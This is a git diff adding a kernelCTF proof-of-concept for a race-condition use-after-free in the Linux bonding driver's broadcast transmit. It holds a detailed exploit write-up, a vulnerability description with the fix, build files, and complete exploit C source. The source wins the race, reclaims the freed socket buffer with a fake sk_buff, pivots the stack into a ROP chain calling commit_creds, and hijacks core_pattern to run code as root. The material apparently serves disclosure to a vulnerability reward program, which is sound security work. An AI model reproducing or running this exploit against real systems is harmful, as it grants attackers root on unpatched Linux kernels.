diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore new file mode 100644 index 000000000..817b2d693 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore @@ -0,0 +1,3 @@ +bzImage +vmlinux +rootfs.img.gz \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md new file mode 100644 index 000000000..fd0b5a387 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md @@ -0,0 +1,371 @@ +Exploit Details +=============== + +In this writeup we explain how we exploited CVE-2026-31419 to capture the flag +on a `cos-121-18867.294.134` instance. + +# Prologue + +CVE-2026-31419 is a use-after-free in the Linux bonding driver. In broadcast +mode, `bond_xmit_broadcast()` reuses the original `sk_buff` for the "last" slave +and clones it for the others, but the "last" slave is chosen inside an +RCU-protected loop. By racing slave enslave/release against a broadcast +transmit, the original `skb` is consumed twice, giving us a UAF on an +`skbuff_head_cache` object. We turn that UAF into RIP control via a fake `skb`, +pivot the stack, and run a ROP chain that calls `commit_creds(&init_cred)` to +escalate privileges and read the flag. + +## What We Cover + +- Root-cause analysis of CVE-2026-31419 +- Building the network topology to reach `bond_xmit_broadcast()` +- Enlarging the race window with a `netem` delay qdisc +- Winning the race deterministically (two-CPU pipe handshake) +- Detecting the double-free +- Turning the UAF into RIP control with a fake `skb` +- Stack pivot and ROP to `commit_creds` +- Capturing the flag + +# Root-Cause Analysis + +The vulnerable function is `bond_xmit_broadcast()` in +`drivers/net/bonding/bond_main.c`. Simplified, the pre-patch logic is: + +```c +bond_for_each_slave_rcu(bond, slave, iter) { + if (bond_is_last_slave(bond, slave)) + break; + if (bond_slave_is_up(slave) && slave->link == BOND_LINK_UP) { + struct sk_buff *skb2 = skb_clone(skb, GFP_ATOMIC); + if (!skb2) + continue; + bond_dev_queue_xmit(bond, skb2, slave->dev); + } +} +if (slave && bond_slave_is_up(slave) && slave->link == BOND_LINK_UP) + return bond_dev_queue_xmit(bond, skb, slave->dev); /* reuse original */ +``` + +For every slave except the last, the code clones `skb` and transmits the clone. +For the last slave it transmits the **original** `skb`. The "last" slave is +determined by `bond_is_last_slave()`, which inspects the live slave list. + +The iteration is protected only by RCU, **not** by `rtnl`. Operations that add +or remove slaves (`RTM_NEWLINK` / `RTM_SETLINK` with `IFLA_MASTER`, +`RTM_DELLINK`) take `rtnl` but do not block the RCU read side. So while a +broadcast transmit is in flight, a concurrent enslave/release can change which +slave `bond_is_last_slave()` reports. + +If the list mutates such that the loop's notion of "last" and the post-loop +`slave` pointer disagree, the original `skb` is handed to the transmit path +twice — once inside the loop (as the slave that was *thought* not to be last but +became last) and once after the loop — double-consuming it. The result is a +double-free / use-after-free of an `sk_buff` allocated from +`skbuff_head_cache` (object size 0xe0 / 224 bytes, in the `kmalloc`-adjacent +`skbuff_head_cache`). + +``` +BUG: KASAN: slab-use-after-free in skb_clone +Read of size 8 at addr ffff888100ef8d40 by task exploit/147 + skb_clone (net/core/skbuff.c:2108) + bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334) + bond_start_xmit + dev_hard_start_xmit + __dev_queue_xmit + ip6_finish_output2 + ... + udpv6_sendmsg + __sys_sendto +The buggy address belongs to the object at ffff888100ef8c80 + which belongs to the cache skbuff_head_cache of size 224 +``` + +# Building the Topology + +To reach `bond_xmit_broadcast()` from userspace we build the following topology +inside a user namespace (which grants `CAP_NET_ADMIN`): + +```c +int fd = initNL(); +NLMsgSend(fd, bondAdd("bond0")); /* create the bond master */ +NLMsgSend(fd, bondModeSet("bond0", 3)); /* mode 3 = BOND_MODE_BROADCAST */ +NLS(fd, linkMtuSet("bond0", 0x9999)); /* large MTU */ +NLMsgSend(fd, linkSet("bond0", 1)); /* bring bond0 up */ + +NLMsgSend(fd, dummyAdd("dummy0")); /* slave A: a dummy device */ +NLS(fd, vethAdd("veth0", "veth1")); /* slave B: one end of a veth pair */ +NLS(fd, linkSet("veth1", 1)); +NLS_IF(fd, netemQdisc(QDISC_ADD, 0x10000, -1, LARGE_USEC_FOR_SLEEP), "veth0"); +NLMsgSend(fd, linkMasterSet("veth0", "bond0")); +NLMsgSend(fd, linkMasterSet("dummy0", "bond0")); +NLMsgSend(fd, dummySet("dummy0", 1)); +``` + +Key choices: + +- **`bond0` in broadcast mode** is the only mode that funnels transmits through + `bond_xmit_broadcast()`. +- **`dummy0`** is a stable slave that always stays enslaved. It serves as one of + the two slaves the loop walks. +- **`veth0`** is the slave we repeatedly enslave/release to drive the race. We + use a `veth` pair because it can carry a real qdisc and be flapped cheaply. +- A `sendto()` on an `AF_INET6` `SOCK_DGRAM` socket bound to the multicast group + `ff02::1` with `sin6_scope_id = if_nametoindex("bond0")` triggers a broadcast + transmit through `bond0`: + + ```c + void prepare_if_bc(char *if_name){ + if_bc_socket = socket(AF_INET6, SOCK_DGRAM, 0); + int ifindex = if_nametoindex(if_name); + dst.sin6_family = AF_INET6; + dst.sin6_port = htons(12345); + inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr); + dst.sin6_scope_id = ifindex; + } + ``` + +# Enlarging the Race Window + +A bare broadcast transmit races through `bond_xmit_broadcast()` far too quickly +to reliably interpose a slave-list mutation. We widen the window by attaching a +`netem` qdisc with a huge latency to `veth0`: + +```c +NLS_IF(fd, netemQdisc(QDISC_ADD, 0x10000, -1, LARGE_USEC_FOR_SLEEP), "veth0"); +``` + +`netem` delays the dequeue of packets queued on `veth0`. This stretches the time +the kernel spends holding/handling the broadcast `skb` for that slave, turning +the otherwise instantaneous transmit into a controllable interval during which +the racing thread can release and re-enslave `veth0` and flip which slave is +considered "last". + +The qdisc is also our **free trigger**: deleting it (`qdiscDel(0x10000)`) +flushes and frees the `sk_buff`s sitting in the netem queue, which is how we +release the doubly-referenced object on demand. + +# Winning the Race + +We use two processes pinned to two different CPUs, coordinated by a pair of +pipes, so the "spray on CPU0, free/observe on CPU1" choreography is +deterministic rather than probabilistic. + +**Child (CPU0) — the flapper / re-allocator:** + +```c +if (fork() == 0) { + pinCPU(0); + struct pollfd pfd1 = {.fd = pipefd1[0], .events = POLLIN}; + while (1) { + NLMsgSend(fd, linkMasterDel("veth0")); /* release veth0 */ + NLMsgSend(fd, linkMasterSet("veth0","bond0")); /* re-enslave */ + if (poll(&pfd1, 1, 0) > 0) { /* parent says FIRE */ + for (int i = 0x20; i < 0x31; i++) /* alloc on CPU0 */ + write(sk_fd[i][1], trash, SKB_DATA_SIZE); + pinCPU(1); + for (int i = 0x20; i < 0x31; i++) /* hand back to CPU1 */ + read(sk_fd[i][0], trash, SKB_DATA_SIZE); + write(pipefd2[1], trash, 4); + sleep(1000); + } + } +} +``` + +The continuous `linkMasterDel("veth0")` / `linkMasterSet("veth0","bond0")` loop +is what mutates the slave list under the broadcast's RCU read side. + +**Parent (CPU1) — the sprayer / detector:** + +The parent sprays `sk_buff`s through unix sockets (`sk_fd[i]`, allocated by +`initSocketArrayN(sk_fd, 0x200)`) of size `SKB_DATA_SIZE = 0x400 - 0x140`, then +fires the broadcast and the qdisc delete: + +```c +for (size_t i = 0x0; i < 0x10; i++) /* pre-pad */ + write(sk_fd[i][1], trash, SKB_DATA_SIZE); +sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, + (struct sockaddr *)&dst, sizeof(dst)); /* broadcast transmit */ +for (size_t i = 0x10; i < 0x20; i++) { /* tag & spray */ + *ptr = i; + write(sk_fd[i][1], trash, SKB_DATA_SIZE); +} +NLS_IF(fd, qdisc_del_message, "veth0"); /* free queued skbs */ +for (int i = 0x40; i < 0x60; i++) { + *ptr = i; + write(sk_fd[i][1], trash, SKB_DATA_SIZE); +} +``` + +Each sprayed buffer is tagged with its index at offset 0 (`*ptr = i`). When we +read the buffers back, a slot whose contents no longer match its tag (or whose +read fails) tells us a sprayed object was freed out from under us — i.e. the +double-free landed on a unix-socket `skb`: + +```c +for (size_t i = 0x10; i < 0x20; i++) { + int res = read(sk_fd[i][0], trash, SKB_DATA_SIZE); + if (res < 0 || *ptr != i) { + /* race hit: this slot was double-freed */ + write(pipefd1[1], "FIRE", 4); + read(pipefd2[0], trash, 4); + ... + } +} +``` + +If the race did not hit, the parent re-adds the qdisc and drains the sprays, +then loops: + +```c +NLS_IF(fd, qdisc_add_message, "veth0"); +for (size_t i = 0x0; i < 0x10; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE); +for (int i = 0x40; i < 0x60; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE); +``` + +The `0x100..0x180` sprays earlier in the function fill SLUB CPU-partial lists so +that the freed victim and our replacement objects land on the same active slab, +making the reclaim of the freed `skb` slot predictable. + +# From UAF to RIP Control + +Once we know a sprayed `skb` slot has been freed, we reclaim that freed memory +with attacker-controlled content and craft a **fake `skb`** that the kernel will +later dereference on a subsequent socket operation. + +First we drain the surrounding sprays and reclaim the freed page using +`PACKET_TX_RING` page-vector spray: + +```c +for (size_t j = i+1; j < 0x20; j++) read(sk_fd[j][0], trash, SKB_DATA_SIZE); +for (size_t i = 0x0; i < 0x10; i++) read(sk_fd[i][0], trash, SKB_DATA_SIZE); +for (int i = 0x100; i < 0x180; i += 0x10) read(sk_fd[i][0], trash, SKB_DATA_SIZE); + +pgvAdd(0, 0, 0x100); /* allocate page vector */ +char *target = pgvMap(0); /* map it into userspace */ +char *fake_skb = make_fake_skb(); /* build the malicious skb image */ +char buf[0x1000]; +for (int i = 0; i < 0x10; i++) memcpy(buf + i*0x100, fake_skb, 0x100); +for (int i = 0; i < 0x100; i++) memcpy(target + i*0x1000, buf, 0x1000); +``` + +The fake `skb` is laid out to match the fields the kernel touches when servicing +a `recv()` on the unix socket that still references the freed object. The layout +(`fake_skb_t`) carefully places: + +- `next` / `prev` — the receive-queue list pointers, aimed at a writable kernel + pointer so list operations succeed. +- `len = 0`, `datalen = 1`, `end = 0x10` — sizing fields chosen so the kernel + takes the path that dereferences our controlled function pointer. +- `head` / `cur` — pointed at a writable kernel address. +- `rip_control` at offset `0x60` — the field the kernel indirectly calls, + pointing at our stack-pivot gadget. + +```c +fake_skb->next = ADDRESS_WITH_WRITABLE_POINTER - 8 - KASLR + kaslr; +fake_skb->prev = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; +fake_skb->rip_control = PIVOT_GADGET - KASLR + kaslr; +fake_skb->head = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; +fake_skb->cur = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; +``` + +Triggering the dereference is a zero-length `recv()` on the dangling socket: + +```c +res = recv(sk_fd[i][0], trash, 0, 0); /* kernel calls fake_skb->rip_control */ +``` + +# Stack Pivot and ROP + +`rip_control` points at `PIVOT_GADGET`. At the moment of the indirect call a +register points into our fake object, so we use a reflecting gadget to move the +ROP chain into `RSP`. We place an `add rsp, 0x60 ; ret` gadget at offset `0x10` +of the fake object: + +```c +size_t rop_reflect[] = { ADD_RSP_0x60 - KASLR + kaslr }; +memcpy(((char*)fake_skb) + 0x10, &rop_reflect, sizeof(rop_reflect)); +``` + +and the ROP chain at offset `0x78`: + +```c +size_t rop_chain[] = { + POP_RDI - KASLR + kaslr, INIT_CRED - KASLR + kaslr, /* rdi = &init_cred */ + COMMIT_CREDS - KASLR + kaslr, /* commit_creds() */ + POP_R11_RCX - KASLR + kaslr, user_rflags, (size_t)fork_shell, + SYSRET - KASLR + kaslr, user_sp | 8 /* iret/sysret back */ +}; +memcpy(((char*)fake_skb) + 0x78, &rop_chain, sizeof(rop_chain)); +``` + +The chain: + +1. `pop rdi ; ret` → `RDI = &init_cred` +2. `commit_creds(&init_cred)` → the current task gets full root credentials +3. `pop r11 ; pop rcx ; ret` then `sysret` → return cleanly to userspace at + `fork_shell` with the saved user `RFLAGS`/`RSP` (captured earlier by + `saveStatus()`), avoiding a kernel crash on return. + +KASLR is resolved up front with `get_kaslr_precise(1)`; every gadget/symbol +constant is rebased with `- KASLR + kaslr`. + +# Privilege Escalation and Flag Capture + +After `commit_creds(&init_cred)`, execution returns to `fork_shell()` in +userspace as root. Rather than spawn a shell directly, we abuse the +`core_pattern` technique so the privileged context survives: + +```c +void fork_shell(){ + int fd = open("/proc/sys/kernel/core_pattern", 2); + write(fd, "|/proc/%P/fd/666\0", 18); + close(fd); + sleep(1000); +} +``` + +`COREHEAD(argv)` at startup, together with `crash(666, "/tmp/exp")` running in a +dedicated child, sets up a file descriptor `666` pointing at a helper that, when +invoked by the kernel as the core-dump handler (`|/proc/%P/fd/666`), runs with +root privileges and reads the flag. + +`main()` drives the whole thing in a retry loop so a missed race simply restarts +the attempt: + +```c +int main(int argc, char *argv[]){ + pinCPU(0); + kaslr = get_kaslr_precise(1); + COREHEAD(argv); + if (fork() == 0) { pinCPU(1); setsid(); crash(666, "/tmp/exp"); } + while (1) { + int pid = fork(); + if (!pid) exploit(); + else waitpid(pid, 0, 0); + } +} +``` + +# Stability + +The exploit succeeds roughly 7 out of 10 runs and completes well within the +5-minute limit. The dominant source of failure is missing the race window in a +given attempt; the outer retry loop in `main()` re-runs `exploit()` until it +wins, and the two-CPU pipe handshake keeps the spray/free ordering deterministic +once the race does hit. + +# Summary + +1. Build a broadcast `bond0` with two slaves (`dummy0`, `veth0`); attach a + high-latency `netem` qdisc to `veth0` to widen the window. +2. Spray tagged `sk_buff`s; fire an IPv6 multicast broadcast through `bond0` + while continuously flapping `veth0`'s master, racing + `bond_xmit_broadcast()`'s RCU loop against the slave-list mutation. +3. Delete the qdisc to free the doubly-referenced `skb`; detect the double-free + via a tag mismatch on the sprayed slots. +4. Reclaim the freed object with a fake `skb` via `PACKET_TX_RING` page-vector + spray. +5. Trigger a `recv()` to call into the fake `skb`, pivot the stack, and ROP to + `commit_creds(&init_cred)`. +6. Return to userspace as root and read the flag via the `core_pattern` handler. diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md new file mode 100644 index 000000000..823e85b9f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md @@ -0,0 +1,66 @@ +# Vulnerability + +CVE-2026-31419 is a use-after-free vulnerability in the Linux kernel's bonding +driver, in `bond_xmit_broadcast()` (`drivers/net/bonding/bond_main.c`). + +In broadcast mode (`BOND_MODE_BROADCAST`), `bond_xmit_broadcast()` iterates the +slave list under RCU and transmits the packet on every active slave. To avoid an +unnecessary copy, it reuses the original `skb` for the *last* slave and clones +the `skb` for all the others. The "last" slave is identified by +`bond_is_last_slave()` evaluated **inside** the RCU-protected loop. + +Because only RCU (not `rtnl`) protects the iteration, a concurrent +enslave/release (`linkMasterSet`/`linkMasterDel`) can mutate the slave list +while `bond_xmit_broadcast()` is running, changing which slave is "last" +mid-loop. When this happens the original `skb` can be consumed twice (once via +the clone/transmit path and again as the "last" reuse), leading to a +double-consume / double-free of the `sk_buff`, i.e. a use-after-free of an +`skbuff_head_cache` object. + +``` +BUG: KASAN: slab-use-after-free in skb_clone +Read of size 8 at addr ffff888100ef8d40 by task exploit/147 + skb_clone (net/core/skbuff.c:2108) + bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334) + bond_start_xmit (drivers/net/bonding/bond_main.c:5567 5593) + dev_hard_start_xmit (net/core/dev.c:3887) + __dev_queue_xmit (net/core/dev.c:4838) + ip6_finish_output2 (net/ipv6/ip6_output.c:136) + ... + udpv6_sendmsg (net/ipv6/udp.c:1733) + __sys_sendto (net/socket.c:2206) +``` + +The fix replaces the racy `bond_is_last_slave()` check with a stable index +comparison (`i + 1 == slaves_count`) against a slave count snapshotted via +`READ_ONCE()` before the loop, so the "last" determination no longer depends on +the live list state. + +## Requirements +- **Capabilities**: `CAP_NET_ADMIN` (to create the bond, set broadcast mode, and + enslave/release devices). +- **Kernel configuration**: `CONFIG_BONDING`. +- **User namespaces**: Required to obtain `CAP_NET_ADMIN` as an unprivileged + user. + +## Introduction +- **Fixes tag**: [4e5bd03ae346](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4e5bd03ae346) ("net: bonding: fix bond_xmit_broadcast return value error bug", Linux 5.17-rc1) +- **Note**: `4e5bd03ae346` is referenced by the `Fixes:` tag because it is the + most recent commit that touched the racy `bond_xmit_broadcast()` body, so the + backport applies cleanly. The vulnerable pattern itself — + `bond_is_last_slave()` deciding the original-`skb` reuse inside the RCU loop — + predates it: it was introduced when the bonding driver converted to the + list-based slave iteration in Linux 3.12-rc1. + +## Fix +- **Commit**: [2884bf72fb8f](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16) ("net: bonding: fix use-after-free in bond_xmit_broadcast()") + +## Affected Versions +- Linux 3.12-rc1 to 7.0-rc6 (fixed in 7.0-rc7) + +## Subsystem +- Bonding driver (`drivers/net/bonding`) + +## Root Cause +- Use-after-free caused by a race condition (RCU-iterated slave list mutated + concurrently with `bond_xmit_broadcast()`) diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore new file mode 100644 index 000000000..3145f9382 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore @@ -0,0 +1,5 @@ +# Fetched at build time (do not commit the binary DB) +target_db.kxdb + +# Debug build artifact (the release `exploit` binary IS committed) +exploit_debug diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile new file mode 100644 index 000000000..3b30b517e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile @@ -0,0 +1,54 @@ +# Makefile for CVE-2025-38477 exploit + +CC = gcc +CFLAGS = -static -w +DBGFLAGS = -g +TARGET = exploit +SOURCE = exploit.c + +# libx configuration - expects libx to be in ./libx directory +LIBX_DIR = ./libx +LIBX_LIB = $(LIBX_DIR)/libx.a +LIBX_INCLUDE = $(LIBX_DIR) + +# Directly link the local static library to avoid conflicts with system libx +INCLUDES = -I$(LIBX_INCLUDE) + +.PHONY: all clean check-libx libx + +all: $(LIBX_LIB) $(TARGET) + +# Check if libx directory exists +check-libx: + @if [ ! -d "$(LIBX_DIR)" ]; then \ + echo "Error: libx directory not found at $(LIBX_DIR)!"; \ + echo "Please ensure libx is present in the current directory"; \ + exit 1; \ + fi + +# Build libx from local source +$(LIBX_LIB): check-libx + @echo "Building libx..." + @$(MAKE) -C $(LIBX_DIR) + @echo "libx is ready!" + +# Convenience target to just build libx +libx: $(LIBX_LIB) + +$(TARGET): $(SOURCE) $(LIBX_LIB) + $(CC) $(CFLAGS) $(INCLUDES) $(SOURCE) -o $(TARGET) $(LIBX_LIB) + + +# Debug build expected by CI workflow +.PHONY: exploit_debug +exploit_debug: $(SOURCE) $(LIBX_LIB) + $(CC) $(filter-out -s,$(CFLAGS)) $(DBGFLAGS) $(INCLUDES) \ + $(SOURCE) -o exploit_debug $(LIBX_LIB) + +clean: + rm -f $(TARGET) + rm -f exploit_debug + @if [ -d "$(LIBX_DIR)" ]; then \ + echo "Cleaning libx..."; \ + $(MAKE) -C $(LIBX_DIR) clean 2>/dev/null || true; \ + fi diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit new file mode 100755 index 000000000..b1b442fae Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.c new file mode 100644 index 000000000..ec08dd1fe --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.c @@ -0,0 +1,258 @@ +// #define DEBUG True + +#include +#include +size_t kaslr = -1; +#define ADDRESS_WITH_WRITABLE_POINTER 0xffffffff848d7fa0 +#define LARGE_USEC_FOR_SLEEP 10000000000 +#define SKB_DATA_SIZE 0x400-0x140 + +#ifdef DEBUG + #define PIVOT_GADGET 0xffffffffdeadbeef +#else + #define PIVOT_GADGET 0xffffffff81ff1198 +#endif + +#define ADD_RSP_0x60 0xffffffff814fd606 +#define POP_RDI 0xffffffff81000e15 +#define POP_R11_RCX 0xffffffff82545159 +#define SYSRET 0xffffffff82600228 +#define INIT_CRED 0xffffffff83e72f20 +#define COMMIT_CREDS 0xffffffff811ffbe0 +int if_bc_socket = -1; +struct sockaddr_in6 dst; + +void prepare_if_bc(char *if_name){ + if_bc_socket = socket(AF_INET6, SOCK_DGRAM, 0); + int ifindex = if_nametoindex(if_name); + dst.sin6_family = AF_INET6; + dst.sin6_port = htons(12345); + inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr); + dst.sin6_scope_id = ifindex; +} + +void fork_shell(){ + success("PWN"); + int fd = open("/proc/sys/kernel/core_pattern",2); + write(fd,"|/proc/%P/fd/666\0",18); + close(fd); + sleep(1000); +} + +typedef struct { + size_t next; + size_t prev; + char pad[0x50]; + size_t rip_control; // 0ffset = 0x60 + size_t pad2; + unsigned int len; + unsigned int datalen; // offset = 0x74 + char pad3[0xbc-0x78]; + unsigned int end; + size_t head; + size_t cur; + char pad4[0xd4-0xd0]; + unsigned int user; + char pad5[0xf0-0xe0]; + size_t debug_magic; + char pad6[0x100-0xf8]; +} fake_skb_t; + +char * make_fake_skb(void){ + saveStatus(); + hook_segfault(); + fake_skb_t * fake_skb = calloc(1,0x100); + fake_skb->next = ADDRESS_WITH_WRITABLE_POINTER-8 - KASLR + kaslr; + fake_skb->prev = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; + fake_skb->rip_control = PIVOT_GADGET - KASLR + kaslr; + fake_skb->len = 0; + fake_skb->datalen = 1; + fake_skb->end = 0x10; + fake_skb->head = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; + fake_skb->cur = ADDRESS_WITH_WRITABLE_POINTER - KASLR + kaslr; + fake_skb->user = 1; + fake_skb->debug_magic = 0xdeadbeef; + size_t rop_reflect[] = { + ADD_RSP_0x60 - KASLR + kaslr, + }; + memcpy(((char*)fake_skb)+0x10,&rop_reflect,sizeof(rop_reflect)); + + size_t rop_chain[] = { + POP_RDI - KASLR + kaslr, INIT_CRED - KASLR + kaslr, COMMIT_CREDS - KASLR + kaslr, + POP_R11_RCX - KASLR + kaslr, user_rflags, (size_t )fork_shell, + SYSRET - KASLR + kaslr, user_sp|8 + }; + memcpy(((char*)fake_skb)+0x78,&rop_chain,sizeof(rop_chain)); + + return (char *)fake_skb; +} + +// Maximum number of race attempts per exploit() invocation +#define MAX_RACE_ATTEMPTS 2000 + +void exploit(void){ + pinCPU(0); + sandbox(); + impLimit(); + int fd = initNL(); + char trash[0x1000] = {}; + initSocketArrayN(sk_fd,0x200); + // Master bond0 + NLMsgSend(fd, bondAdd("bond0")); + NLMsgSend(fd, bondModeSet("bond0",3)); + // Large enough MTU + NLS(fd, linkMtuSet("bond0",0x9999)); + NLMsgSend(fd, linkSet("bond0",1)); + + // Two Slaves + NLMsgSend(fd, dummyAdd("dummy0")); + NLS(fd, vethAdd("veth0","veth1")); + NLS(fd, linkSet("veth1",1)); + NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0"); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, dummySet("dummy0",1)); + + // Race + prepare_if_bc("bond0"); + int pipefd1[2],pipefd2[2]; + pipe(pipefd1); + pipe(pipefd2); + + if(fork()==0){ + pinCPU(0); + close(pipefd1[1]); + close(pipefd2[0]); + + struct pollfd pfd1 = {.fd = pipefd1[0], .events=POLLIN}; + while(1){ + NLMsgSend(fd, linkMasterDel("veth0")); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + + if(poll(&pfd1,1,0)>0) + { + // Allocate on cpu 0 and return to cpu 1 + for(int i = 0x20 ; i < 0x31; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + pinCPU(1); + for(int i = 0x20 ; i < 0x31; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + write(pipefd2[1],trash, 4); + sleep(1000); + } + } + } + else{ + pinCPU(1); + close(pipefd1[0]); + close(pipefd2[1]); + size_t *ptr = trash; + + // For cpu partial + for(size_t i = 0x100 ; i < 0x180; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + char *qdisc_del_message = qdiscDel(0x10000); + char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP); + int race_attempts = 0; + while(race_attempts++ < MAX_RACE_ATTEMPTS){ + // Pre-pad + for(size_t i = 0x0 ; i < 0x10; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, (struct sockaddr *)&dst, sizeof(dst)); + // a free slot should be taken by the sk_buff, it's confirmed in debugging and it's usually slot 0x10 + for(size_t i = 0x10 ; i < 0x20; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + // Delete the skbs and the head in the queue + NLS_IF(fd, qdisc_del_message,"veth0"); + for(int i = 0x40 ; i < 0x60; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + for(size_t i = 0x10 ; i < 0x20; i++) + { + int res = read(sk_fd[i][0],trash, SKB_DATA_SIZE); + // int res = recv(sk_fd[i][0], buf, SKB_DATA_SIZE, MSG_PEEK); + if(res < 0 || *ptr != i){ + // Now we are sure we hit the race + write(pipefd1[1], "FIRE", 4); + read(pipefd2[0],trash,4); + + for(size_t j = i+1 ; j < 0x20; j++) + read(sk_fd[j][0],trash,SKB_DATA_SIZE); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x100; i<0x180; i+=0x10) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + pgvAdd(0,0,0x100); + char * target = pgvMap(0); + char * fake_skb = make_fake_skb(); + char buf[0x1000]; + for(int i = 0 ; i < 0x10 ; i ++) + memcpy(buf+i*0x100,fake_skb,0x100); + for(int i = 0 ; i < 0x100 ; i++) + memcpy(target+i*0x1000,buf,0x1000); + // debug(); + // res = recv(sk_fd[i][0], buf, 0xffffffff, MSG_PEEK); + success("Trying..."); + // res = read(sk_fd[i][0],trash,1); + res = recv(sk_fd[i][0], trash, 0,0); + if(res<0){ + info("seems fail"); + for(int i = 0x40 ; i < 0x60; i++) + // recv(sk_fd[i][0], trash, SKB_DATA_SIZE,0); + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + info("Failed to exploit, retry..."); + goto END; + } + else goto END; // We won + } + + } + NLS_IF(fd, qdisc_add_message,"veth0"); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x40 ; i < 0x60; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + } + } +END: + exit(0); +} + +// Maximum number of exploit retry attempts (each runs MAX_RACE_ATTEMPTS races) +#define MAX_EXPLOIT_RETRIES 50 +// Overall time limit in seconds +#define EXPLOIT_TIMEOUT_SEC 120 + +int main(int argc, char *argv[]){ + // debug(); + pinCPU(0); + kaslr = get_kaslr_precise(1); + info(hex(kaslr)); + // debug(); + COREHEAD(argv); + if (fork() == 0) + { + pinCPU(1); + setsid(); + crash(666,"/proc/self/exe"); + } + time_t start = time(NULL); + for(int attempt = 0; attempt < MAX_EXPLOIT_RETRIES; attempt++){ + if(time(NULL) - start > EXPLOIT_TIMEOUT_SEC){ + info("Timeout reached, giving up"); + break; + } + int pid = fork(); + if(!pid) + exploit(); + else + waitpid(pid,0,0); + } + info("Exploit failed after all attempts"); + exit(1); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore new file mode 100644 index 000000000..7dcd4c353 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore @@ -0,0 +1,5 @@ +# Compiled libx build artifacts +*.o +*.a +*.so +netlink/*.o diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile new file mode 100644 index 000000000..bf8127ff9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile @@ -0,0 +1,76 @@ +CC ?= gcc +CFLAGS =-fPIC -w +PREFIX ?= /lib/x86_64-linux-gnu +INCLUDE_PREFIX ?= /usr/include + +# Headers in root +ROOT_HEADERS = libx.h kaslr.h + +# Headers in netlink/ +NETLINK_HEADERS = netlink/net.h netlink/qdisc.h netlink/bond.h netlink/veth.h + +HEADERS = $(ROOT_HEADERS) $(NETLINK_HEADERS) + +# Object files +ROOT_OBJS = 